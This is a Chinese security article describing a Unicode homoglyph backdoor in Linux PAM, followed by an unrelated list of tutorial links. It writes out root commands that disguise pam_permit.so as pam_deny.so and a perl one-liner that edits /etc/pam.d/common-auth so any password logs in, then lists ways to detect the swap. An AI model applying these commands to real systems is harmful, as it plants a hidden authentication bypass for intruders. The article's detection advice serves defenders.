伪装在系统PAM配置文件中的同形异义字后门
0x00. 前言
受到FreeBuf早前相关同形异体字攻击文章的启发,故有此文。
目前主流的Linux发行版本都支持Unicode,这也给了利用同形异义字迷惑系统管理员的后门有了可乘之机。 本文通过案例描绘此类漏洞是如何实现的。
0x01. 同形异义字后门案例
我们看一下 ssh 的 pam 认证模块
注意第一行 @ include common-auth
我们再看一下 common-auth
注意红框圈的那一行
auth [success=1 default=ignore] pam_unix.so nullok_secure
pam_unix.so 是用于校验用户的的账户和密码是否正确,如果账号密码正确,则直接返回,不执行下一行,否则执行下一行。
auth requisite pam_deոy.so
关于 requisite 的含义解释如下:
因为 pam_deny.so 模块会返回失败, 加上这行的控制标记是requisite,所以系统会直接拒绝用户登录。
我们知道与 pam_deny.so 模块对应的就是 pam_permit.so , 如果我们能把
auth requisite pam_deոy.so
更改为
auth requisite pam_permit.so
则任意密码都可以登录成功,但这里也有个问题
pam_permit.so 很容易被管理员发现啊,毕竟pam_permit.so 和pam_deny.so 看起来就不一样嘛
所以这里要用到本文所述Unicode 的同形异义字来将pam_permit.so 伪装起来,使其看起来像pam_deny.so
1、先把 pam_deny.so 备份
2、然后利用 Unicode 同形异义字 将 pam_permit.so 伪装成 pam_deny.so
root@kali:~# cp /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'u578'y.so
伪装后的 pam_deոy.so , 红圈所示, 不留心仔细观察,很难分辨真伪
3、然后修改 /etc/pam.d/common-auth 中的 pam_deny.so 为 伪装的pam_deոy.so
root@kali:~# perl -i -pe's/deny/dex{578}y/' /etc/pam.d/common-auth
查看一下修改后的common_auth (红框所示)
不仔细观察,不好辨真伪
4、修改后,登录测试,看看能否可以实现任意密码登录
随便输入密码
点击‘确定’
成功登录
我们看一下登录日志 ( /var/log/auth.log )
我们可以看出,虽然 pam_unix.so 认证失败,但是 最终还是登录成功(因为伪装的 pam_deոy.so 起了作用)
0x02. 总结
虽然伪装的 pam_deոy.so 和真正的 pam_deny.so 看起来一样,但实际上是不同的两个文件,要区分它也很简单, 总结以下方法:
1、直接使用 file 或者 locate 命令查看 pam_deny.so 是否存在
2、系统安装后给所有的文件做 hash, 然后对比 hash 3、查看登录日志 (比如 /var/log/auth.log ) 如果发现 pam_unix 认证失败,仍能登录成功,则必须警惕 pam_deny.so 是否已经被调包 4、如果发现任意密码均可登录,则要警惕 pam_deny.so 是否已经被调包
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- MongoDB 指令
- 硬件设计之 Distributed Arithmetic 一例
- JavaScript 框架学习(JQuery)
- MongoDB 部署
- 结构体对齐原则在自定义协议解析时的妙用之法
- Spring JDBC 框架一个最简单的Hello World级别的例子
- Celery 分布式框架 学习
- .NET Core + K8S + Loki 玩转日志聚合
- varint是啥你真的知道么?
- 一篇文章带你入门移动安全
- Could not load JDBC driver class [com.mysql.jdbc.Driver]
- [Bazel]自定义规则实现将多个静态库合并为一个动态库或静态库
- [Golang]包管理
- Power Query中避免出错的几种情况
- 我的开发日记(十五)